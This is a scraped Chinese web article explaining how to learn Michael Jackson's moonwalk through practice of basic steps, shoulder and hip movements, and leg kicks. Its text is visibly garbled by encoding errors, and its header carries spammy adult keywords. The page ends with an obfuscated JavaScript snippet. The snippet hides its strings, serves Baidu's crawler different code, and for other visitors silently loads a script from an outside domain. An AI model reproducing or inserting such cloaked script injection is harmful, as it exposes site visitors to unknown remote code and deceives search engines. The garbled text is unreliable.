久久精品亚洲人人做人人爽|欧美日韩在线观看视频|在线a免费播放a视频|亚洲免费AV在线

<source id="usrd9"><ins id="usrd9"></ins></source>

<form id="usrd9"><tr id="usrd9"></tr></form>
      1. 當(dāng)前位置:首頁 > 健康 > 運(yùn)動健身 > 正文

        太空步動作要領(lǐng)有哪些?

        2017-04-16 10:14:37  來源:360常識網(wǎng)   熱度:
        導(dǎo)語:說到邁克杰克遜,大家都會想到太空步。如今不少他的歌迷都愛模仿太空步來懷念他。但是太空步并不好學(xué),并不是每個人都可以行云流水的“月球

        說到邁克杰克遜,大家都會想到太空步。如今不少他的歌迷都愛模仿太空步來懷念他。但是太空步并不好學(xué),并不是每個人都可以行云流水的“月球漫步”,太空步需要掌握一些技巧和要領(lǐng)。大家想要學(xué)著試試嗎?下面小編就來教大家太空步的走法,只要按照方法多加練習(xí)就能成。

        一 首先掌握邁克爾杰克遜舞蹈最基礎(chǔ)步法,這是一種類似于rap步法的腳步——分別以不同腳的腳跟或腳尖交替移步。此步伐要多練,以它可以引申多種步法(像側(cè)滑):向左、向右,來回移動;膝蓋打直,或膝蓋大幅度彎曲移動;

        二 振肩和扭胯:這兩個動作大家應(yīng)該都會只是普遍力度和幅度不夠,我們要不斷在這方面加強(qiáng)訓(xùn)練。注意扭胯要和其他動作有機(jī)的結(jié)合在一起,要有一體感。找一個有固定鼓點的音樂,跟著鼓點夸張50%的做動作,反復(fù)1-2首歌每次。

        三 甩腿:以其為代表的舞蹈是Billie jean,當(dāng)然如果我們有留意的話杰克遜在走路時可以說無時無刻不運(yùn)用著他的這一絕技(慢走和滑步除外)。所以練好這個步伐是能否把Michael的舞蹈靈魂注入自己的舞蹈之中的關(guān)鍵所在。其技巧就在于小腿的放松,是以大腿帶動小腿甩動的,大家可以參照black or white中杰克遜和土著跳的那段舞,大腿甩動要快、有力,小腿每次都仿佛都是撞擊到膝蓋上的,仿佛是彈腿一般,注意Billie jean中的分腿動作,切記放松。試著放松小腿,以大腿的力量用力甩動,向前50-100次,向旁邊50-100次。

        看完小編介紹有關(guān)太空步的要領(lǐng),是否練起來更容易了呢?太空步的關(guān)鍵就在各個動作的加速度,只要讓讓每個迅捷動作的速度加快,就會越練越到位。在反復(fù)練習(xí)和多次表演中,對特有的招牌動作加強(qiáng)練習(xí),不不要太拖沓。

        轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
        ?
        if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}